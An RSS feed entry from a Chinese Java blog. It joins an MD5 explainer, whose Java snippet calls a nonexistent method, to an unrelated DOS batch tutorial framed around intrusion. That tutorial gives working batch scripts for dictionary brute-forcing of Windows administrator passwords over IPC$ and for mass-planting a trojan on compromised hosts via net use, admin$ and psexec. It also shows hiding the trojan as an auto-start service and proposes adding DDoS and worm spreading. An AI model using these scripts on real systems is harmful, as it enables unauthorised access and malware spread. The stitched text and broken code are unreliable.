﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-八云的java博客</title><link>http://www.blogjava.net/hangke20020/</link><description /><language>zh-cn</language><lastBuildDate>Thu, 07 May 2026 02:34:30 GMT</lastBuildDate><pubDate>Thu, 07 May 2026 02:34:30 GMT</pubDate><ttl>60</ttl><item><title>MD5加密算法</title><link>http://www.blogjava.net/hangke20020/archive/2006/03/16/35574.html</link><dc:creator>八云</dc:creator><author>八云</author><pubDate>Thu, 16 Mar 2006 03:14:00 GMT</pubDate><guid>http://www.blogjava.net/hangke20020/archive/2006/03/16/35574.html</guid><wfw:comment>http://www.blogjava.net/hangke20020/comments/35574.html</wfw:comment><comments>http://www.blogjava.net/hangke20020/archive/2006/03/16/35574.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hangke20020/comments/commentRss/35574.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hangke20020/services/trackbacks/35574.html</trackback:ping><description><![CDATA[<P>MD5加密算法<BR>介绍MD5加密算法基本情况MD5的全称是Message-Digest Algorithm 5，在90年代初由MIT的计算机科学实验室和RSA Data Security Inc发明，经MD2、MD3和MD4发展而来。<BR>Message-Digest泛指字节串(Message)的Hash变换，就是把一个任意长度的字节串变换成一定长的大整数。请注意我使用了"字节串"而不是"字符串"这个词，是因为这种变换只与字节的值有关，与字符集或编码方式无关。 </P>
<P>MD5将任意长度的"字节串"变换成一个128bit的大整数，并且它是一个不可逆的字符串变换算法，换句话说就是，即使你看到源程序和算法描述，也无法将一个MD5的值变换回原始的字符串，从数学原理上说，是因为原始的字符串有无穷多个，这有点象不存在反函数的数学函数。</P>
<P>MD5的典型应用是对一段Message(字节串)产生fingerprint(指纹)，以防止被"篡改"。举个例子，你将一段话写在一个叫readme.txt文件中，并对这个readme.txt产生一个MD5的值并记录在案，然后你可以传播这个文件给别人，别人如果修改了文件中的任何内容，你对这个文件重新计算MD5时就会发现。如果再有一个第三方的认证机构，用MD5还可以防止文件作者的"抵赖"，这就是所谓的数字签名应用。</P>
<P>MD5还广泛用于加密和解密技术上，在很多操作系统中，用户的密码是以MD5值（或类似的其它算法）的方式保存的，用户Login的时候，系统是把用户输入的密码计算成MD5值，然后再去和系统中保存的MD5值进行比较，而系统并不"知道"用户的密码是什么。</P>
<P>一些黑客破获这种密码的方法是一种被称为"跑字典"的方法。有两种方法得到字典，一种是日常搜集的用做密码的字符串表，另一种是用排列组合方法生成的，先用MD5程序计算出这些字典项的MD5值，然后再用目标的MD5值在这个字典中检索。</P>
<P>即使假设密码的最大长度为8，同时密码只能是字母和数字，共26+26+10=62个字符，排列组合出的字典的项数则是P(62,1)+P(62,2)....+P(62,8)，那也已经是一个很天文的数字了，存储这个字典就需要TB级的磁盘组，而且这种方法还有一个前提，就是能获得目标账户的密码MD5值的情况下才可以。</P>
<P>在很多电子商务和社区应用中，管理用户的Account是一种最常用的基本功能，尽管很多Application Server提供了这些基本组件，但很多应用开发者为了管理的更大的灵活性还是喜欢采用关系数据库来管理用户，懒惰的做法是用户的密码往往使用明文或简单的变换后直接保存在数据库中，因此这些用户的密码对软件开发者或系统管理员来说可以说毫无保密可言，本文的目的是介绍MD5的Java Bean的实现，同时给出用MD5来处理用户的Account密码的例子，这种方法使得管理员和程序设计者都无法看到用户的密码，尽管他们可以初始化它们。但重要的一点是对于用户密码设置习惯的保护</P>
<P>MD加密算法的JAVA描述为：</P>
<P>import java.security.*; <BR>import java.security.spec.*;&nbsp; </P>
<P>&nbsp;</P>
<P>class Md5{<BR>public final static String MD5(String s){ <BR>char hexDigits[] = { <BR>'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'}; <BR>try { <BR>byte[] strTemp = s.getBytes(); <BR>MessageDigest mdTemp = MessageDigest.getInstance("MD5"); <BR>mdTemp.update(strTemp); <BR>byte[] md = mdTemp.digest(); <BR>int j = md.length; <BR>char str[] = new char[j * 2]; <BR>int k = 0; <BR>for (int i = 0; i &lt; j; i++) { <BR>byte byte0 = md[i]; <BR>str[k++] = hexDigits[byte0 &gt;&gt;&gt; 4 &amp; 0xf]; <BR>str[k++] = hexDigits[byte0 &amp; 0xf]; <BR>} <BR>return new String(str); <BR>} <BR>catch (Exception e){ <BR>return null; <BR>} <BR>} <BR>public static void main(String[] args){ <BR>System.out.print(MD5.Md5("XX")); <BR>}</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>dos批处理命令详解<BR>1.Echo 命令<BR>&nbsp;<BR>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 </P>
<P>语法:<BR>&nbsp;<BR>echo [{on│off}] [message] <BR>Sample：@echo off / echo hello world </P>
<P>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命</P>
<P>令到特定格式的文件中.这将在以后的例子中体现出来。 </P>
<P>2.@ 命令 </P>
<P>表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使</P>
<P>用的命令啦。<BR>&nbsp;<BR>Sample：@echo off <BR>@echo Now initializing the program,please wait a minite... <BR>@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这</P>
<P>个参数给我们，效果和/y是一样的。) </P>
<P>3.Goto 命令<BR>&nbsp;<BR>指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 </P>
<P>语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <BR>Sample： <BR>if {%1}=={} goto noparms <BR>if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） <BR>@Rem check parameters if null show usage <BR>:noparms <BR>echo Usage: monitor.bat ServerIP PortNumber <BR>goto end </P>
<P>标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令</P>
<P>就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 </P>
<P>4.Rem 命令 </P>
<P>注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你</P>
<P>自己日后修改。<BR>&nbsp;<BR>Rem Message <BR>Sample：@Rem Here is the description. </P>
<P>5.Pause 命令 </P>
<P>运行 Pause 命令时，将显示下面的消息： <BR>Press any key to continue . . . </P>
<P>Sample： <BR>@echo off <BR>:begin <BR>copy a:*.* d：\back <BR>echo Please put a new disk into driver A <BR>pause <BR>goto begin </P>
<P>在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入</P>
<P>驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。 </P>
<P>6.Call 命令 </P>
<P>从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签</P>
<P>。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<BR>&nbsp;<BR>语法: <BR>call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] </P>
<P>参数: <BR>[Drive:}[Path] FileName </P>
<P>指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 </P>
<P>7.start 命令 </P>
<P>调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。 <BR>常用参数： <BR>MIN 开始时窗口最小化 <BR>SEPARATE 在分开的空间内开始 16 位 Windows 程序 <BR>HIGH 在 HIGH 优先级类别开始应用程序 <BR>REALTIME 在 REALTIME 优先级类别开始应用程序 <BR>WAIT 启动应用程序并等候它结束 <BR>parameters 这些为传送到命令/程序的参数 </P>
<P>执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本</P>
<P>内执行，该新行为则不会发生。<BR>&nbsp;<BR>8.choice 命令 </P>
<P>choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提</P>
<P>示可输入的字符，之间无空格。它的返回码为1234...... </P>
<P>如: choice /c:dme defrag,mem,end </P>
<P>将显示 <BR>defrag,mem,end[D,M,E]? </P>
<P>Sample： <BR>Sample.bat的内容如下: </P>
<P>@echo off <BR>choice /c:dme defrag,mem,end <BR>if errorlevel 3 goto defrag （应先判断数值最高的错误码） <BR>if errorlevel 2 goto mem <BR>if errotlevel 1 goto end </P>
<P>:defrag <BR>c:\dos\defrag <BR>goto end <BR>:mem <BR>mem <BR>goto end <BR>:end <BR>echo good bye </P>
<P>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行</P>
<P>标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后</P>
<P>都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。 </P>
<P>9.If 命令 </P>
<P>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 </P>
<P>有三种格式: </P>
<P>1)、if "参数" == "字符串" 　待执行的命令 <BR>参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号） </P>
<P>如if "%1"=="a" format a: <BR>if {%1}=={} goto noparms <BR>if {%2}=={} goto noparms </P>
<P>2)、if exist 文件名　 待执行的命令 <BR>如果有指定的文件，则条件成立，运行命令，否则运行下一句。<BR>&nbsp;<BR>如if exist config.sys edit config.sys </P>
<P>3)、if errorlevel / if not errorlevel 数字　 待执行的命令 <BR>如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<BR>&nbsp;<BR>如if errorlevel 2 goto x2 　<BR>&nbsp;<BR>DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。 </P>
<P>10.for 命令<BR>&nbsp;<BR>for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。 <BR>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable </P>
<P>for {%variable│%%variable} in (set) do command [ CommandLineOptions] <BR>%variable 指定一个单一字母可替换的参数。 <BR>(set) 指定一个或一组文件。可以使用通配符。 <BR>command 指定对每个文件执行的命令。 <BR>command-parameters 为特定命令指定参数或命令行开关。 </P>
<P>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable <BR>而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I </P>
<P>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持: <BR>FOR /D %variable IN (set) DO command [command-parameters] </P>
<P>如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。 </P>
<P>FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] </P>
<P>检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用</P>
<P>当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。 </P>
<P>FOR /L %variable IN (start,step,end) DO command [command-parameters] </P>
<P>该集表示以增量形式从开始到结束的一个数字序列。 <BR>因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 <BR>序列 (5 4 3 2 1)。 </P>
<P>FOR /F ["options"] %variable IN (file-set) DO command <BR>FOR /F ["options"] %variable IN ("string") DO command <BR>FOR /F ["options"] %variable IN ('command') DO command </P>
<P>或者，如果有 usebackq 选项: </P>
<P>FOR /F ["options"] %variable IN (file-set) DO command <BR>FOR /F ["options"] %variable IN ("string") DO command <BR>FOR /F ["options"] %variable IN ('command') DO command </P>
<P>filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读</P>
<P>取并经过处理。 <BR>处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字</P>
<P>符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白</P>
<P>行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同</P>
<P>解析选项的关键字。这些关键字为: </P>
<P>eol=c - 指一个行注释字符的结尾(就一个) <BR>skip=n - 指在文件开始时忽略的行数。 <BR>delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <BR>tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的 <BR>格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号，那么额外的变量将在最后一</P>
<P>个符号解析之分配并接受行的保留文本。 <BR>usebackq - 指定新语法已在下类情况中使用: <BR>在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起</P>
<P>文件名称。 </P>
<P>sample1: <BR>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command </P>
<P>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for </P>
<P>程序体；用逗号和/或 空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 </P>
<P>%j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用</P>
<P>双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会</P>
<P>被理解成是用作定义某个要分析的字符串的。 </P>
<P>%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= </P>
<P>一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住，FOR 变量是单一字</P>
<P>母、分大小写和全局的；同时不能有 52 个以上都在使用中。 </P>
<P>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。</P>
<P>这样，该字符串会被当作一个文件中的一个单一输入行。 </P>
<P>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符</P>
<P>串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此</P>
<P>，以下例子: </P>
<P>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i </P>
<P>会枚举当前环境中的环境变量名称。 </P>
<P>另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法: </P>
<P>~I - 删除任何引号(")，扩充 %I <BR>%~fI - 将 %I 扩充到一个完全合格的路径名 <BR>%~dI - 仅将 %I 扩充到一个驱动器号 <BR>%~pI - 仅将 %I 扩充到一个路径 <BR>%~nI - 仅将 %I 扩充到一个文件名 <BR>%~xI - 仅将 %I 扩充到一个文件扩展名 <BR>%~sI - 扩充的路径只含有短名 <BR>%~aI - 将 %I 扩充到文件的文件属性 <BR>%~tI - 将 %I 扩充到文件的日期/时间 <BR>%~zI - 将 %I 扩充到文件的大小 <BR>%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变</P>
<P>量未被定义，或者没有找到文件，此组合键会扩充空字符串 </P>
<P>可以组合修饰符来得到多重结果: </P>
<P>%~dpI - 仅将 %I 扩充到一个驱动器号和路径 <BR>%~nxI - 仅将 %I 扩充到一个文件名和扩展名 <BR>%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 <BR>%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。 <BR>%~ftzaI - 将 %I 扩充到类似输出线路的 DIR </P>
<P>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 </P>
<P>%I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。 </P>
<P>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。 </P>
<P>sample2： </P>
<P>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<BR>&nbsp;<BR>我们用net use <A href="file://\\ip\ipc$">\\ip\ipc$</A> "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下</P>
<P>密码。 <BR>最主要的命令是一条：for /f i% in (dict.txt) do net use <A href="file://\\ip\ipc$">\\ip\ipc$</A> "i%" /u:"administrator" <BR>用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给</P>
<P>find命令－－ <BR>for /f i%% in (dict.txt) do net use <A href="file://\\ip\ipc$">\\ip\ipc$</A> "i%%" /u:"administrator"│find ":命令成功完</P>
<P>成"&gt;&gt;D:\ok.txt ，这样就ko了。 </P>
<P>sample3： </P>
<P>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会</P>
<P>变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵</P>
<P>，看下去你就会明白了。</P>
<P>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable） <BR>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k <BR>tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数</P>
<P>%i %j %k。 <BR>而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码</P>
<P>（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。 <BR>delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容</P>
<P>是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。</P>
<P><BR>代码雏形： <BR>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------</P>
<P>------ <BR>@echo off <BR>@if "%1"=="" goto usage <BR>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k <BR>@goto end <BR>:usage <BR>@echo run this batch in dos modle.or just double-click it. <BR>:end <BR>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------</P>
<P>------ </P>
<P><BR>------------------- cut here then save as a batchfile(I call it door.bat) ------------------</P>
<P>----------- <BR>@net use <A href="file://\\%1\ipc$">\\%1\ipc$</A> %3 /u:"%2" <BR>@if errorlevel 1 goto failed <BR>@echo Trying to establish the IPC$ connection ............OK <BR>@copy windrv32.exe\\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 </P>
<P>&gt;&gt;ko.txt <BR>@psexec <A href="file://\\%1">\\%1</A> c:\winnt\system32\windrv32.exe <BR>@psexec <A href="file://\\%1">\\%1</A> net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt <BR>:failed <BR>@echo Sorry can not connected to the victim. <BR>----------------- cut here then save as a batchfile(I call it door.bat) --------------------</P>
<P>------------ </P>
<P>这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一</P>
<P>目录下.批处理内容 <BR>尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功</P>
<P>能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. </P>
<P><BR>二.如何在批处理文件中使用参数 </P>
<P>批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见</P>
<P>，我们就不考虑它了。<BR>&nbsp;<BR>sample1：fomat.bat </P>
<P>@echo off <BR>if "%1"=="a" format a: <BR>:format <BR>@format a:/q/u/auotset <BR>@echo please insert another disk to driver A. <BR>@pause <BR>@goto fomat <BR>这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添</P>
<P>足了～ </P>
<P>sample2： </P>
<P>当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令</P>
<P>写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令</P>
<P>了。 <BR>@echo off <BR>@net use <A href="file://\\1%\ipc$">\\1%\ipc$</A> "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。 <BR>@if errorlevel 1 echo connection failed <BR>怎么样,使用参数还是比较简单的吧？你这么帅一定学会了.No.3 </P>
<P><BR>三.如何使用组合命令(Compound Command) </P>
<P>1.&amp; </P>
<P>Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] </P>
<P>用这种方法可以同时执行多条命令，而不管命令是否执行成功 </P>
<P>Sample： <BR>C:\&gt;dir z: &amp; dir c:\Ex4rch <BR>The system cannot find the path specified. <BR>Volume in drive C has no label. <BR>Volume Serial Number is 0078-59FB </P>
<P>Directory of c:\Ex4rch </P>
<P>2002-05-14 23:51 . <BR>2002-05-14 23:51 .. <BR>2002-05-14 23:51 14 sometips.gif </P>
<P>2.&amp;&amp; <BR>Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] </P>
<P>用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则</P>
<P>一直执行完所有命令； </P>
<P>Sample： <BR>C:\&gt;dir z: &amp;&amp; dir c:\Ex4rch <BR>The system cannot find the path specified. </P>
<P>C:\&gt;dir c:\Ex4rch &amp;&amp; dir z: <BR>Volume in drive C has no label. <BR>Volume Serial Number is 0078-59FB </P>
<P>Directory of c:\Ex4rch </P>
<P>2002-05-14 23:55 . <BR>2002-05-14 23:55 .. <BR>2002-05-14 23:55 14 sometips.gif <BR>1 File(s) 14 bytes <BR>2 Dir(s) 768,671,744 bytes free <BR>The system cannot find the path specified. </P>
<P>在做备份的时候可能会用到这种命令会比较简单，如： <BR>dir file&amp;://192.168.0.1/database/backup.mdb &amp;&amp; copy file&amp;://192.168.0.1/database/backup.mdb </P>
<P>E:\backup <BR>如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法</P>
<P>可以替换IF exist了.</P>
<P>3.││ </P>
<P>Usage：第一条命令 ││ 第二条命令 [││ 第三条命令...] </P>
<P>用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的</P>
<P>命令则一直执行完所有命令； </P>
<P>Sample： <BR>C:\Ex4rch&gt;dir sometips.gif ││ del sometips.gif <BR>Volume in drive C has no label. <BR>Volume Serial Number is 0078-59FB </P>
<P>Directory of C:\Ex4rch </P>
<P>2002-05-14 23:55 14 sometips.gif <BR>1 File(s) 14 bytes <BR>0 Dir(s) 768,696,320 bytes free </P>
<P>组合命令使用的例子：<BR>&nbsp;<BR>sample： <BR>@copy trojan.exe <A href="file://\\%1\admin$\system32">\\%1\admin$\system32</A> &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 </P>
<P>&gt;&gt;victim.txt </P>
<P><BR>四、管道命令的使用 </P>
<P>1.│ 命令 <BR>Usage：第一条命令 │ 第二条命令 [│ 第三条命令...] <BR>将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。 </P>
<P>sample： <BR>time /t&gt;&gt;D:\IP.log <BR>netstat -n -p tcp│find ":3389"&gt;&gt;D:\IP.log <BR>start Explorer </P>
<P>看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登</P>
<P>录用户的IP。 </P>
<P>2.&gt;、&gt;&gt;输出重定向命令 <BR>将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内</P>
<P>容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。 </P>
<P>sample1： <BR>echo hello world&gt;c:\hello.txt (stupid example?) </P>
<P>sample2: <BR>时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不</P>
<P>例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录： <BR>运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt, <BR>这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, <BR>日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. <BR>这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运</P>
<P>行: <BR>CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比</P>
<P>较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,</P>
<P>然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没</P>
<P>有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到</P>
<P>回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 </P>
<P>3.&lt; 、&gt;&amp; 、&lt;&amp; <BR>&lt; 从文件中而不是从键盘中读入命令输入。 <BR>&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。 <BR>&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。 <BR>这些并不常用，也就不多做介绍。 </P>
<P>&nbsp;</P>
<P>五.如何用批处理文件来操作注册表 </P>
<P>在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删</P>
<P>除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统</P>
<P>的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操</P>
<P>作注册表.(我们可以用批处理来生成一个REG文件) <BR>关于注册表的操作，常见的是创建、修改、删除。</P>
<P>1.创建 <BR>创建分为两种，一种是创建子项(Subkey) </P>
<P>我们创建一个文件，内容如下： </P>
<P>Windows Registry Editor Version 5.00 </P>
<P>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] </P>
<P>然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子</P>
<P>项。 </P>
<P>另一种是创建一个项目名称 </P>
<P>那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下： </P>
<P>Windows Registry Editor Version 5.00 </P>
<P>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <BR>"Invader"="Ex4rch" <BR>"Door"=C:\\WINNT\\system32\\door.exe <BR>"Autodos"=dword:02 </P>
<P>这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 <BR>新建了:Invader、door、about这三个项目 <BR>Invader的类型是"String value" <BR>door的类型是"REG SZ value" <BR>Autodos的类型是"DWORD value" </P>
<P>2.修改 <BR>修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s</P>
<P>）即可。 </P>
<P>3.删除 <BR>我们首先来说说删除一个项目名称，我们创建一个如下的文件： </P>
<P>Windows Registry Editor Version 5.00 </P>
<P>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <BR>"Ex4rch"=- </P>
<P>执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就</P>
<P>被删除了； </P>
<P>我们再看看删除一个子项，我们创建一个如下的脚本： </P>
<P>Windows Registry Editor Version 5.00 </P>
<P>[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] </P>
<P>执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了</P>
<P>。 </P>
<P>相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了</P>
<P>，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 </P>
<P>samlpe1:如上面的那个例子,如想生成如下注册表文件 </P>
<P>Windows Registry Editor Version 5.00 </P>
<P>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <BR>"Invader"="Ex4rch" <BR>"door"=hex:255 <BR>"Autodos"=dword:000000128 </P>
<P>只需要这样： <BR>@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg <BR>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&gt;Sample.reg <BR>@echo "Invader"="Ex4rch"&gt;&gt;Sample.reg <BR>@echo "door"=5&gt;&gt;C:\\WINNT\\system32\\door.exe&gt;&gt;Sample.reg <BR>@echo "Autodos"=dword:02&gt;&gt;Sample.reg </P>
<P>samlpe2: <BR>我们现在在使用一些比较老的木马时,可能会在注册表的</P>
<P>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、</P>
<P>Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查</P>
<P>杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为</P>
<P>windrv32.exe) </P>
<P>@start windrv32.exe <BR>@attrib +h +r windrv32.exe <BR>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] &gt;&gt;patch.dll <BR>@echo "windsnx "=- &gt;&gt;patch.dll <BR>@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= </P>
<P>c:\winnt\system32\windrv32.exe <BR>@regedit /s patch.dll <BR>@delete patch.dll </P>
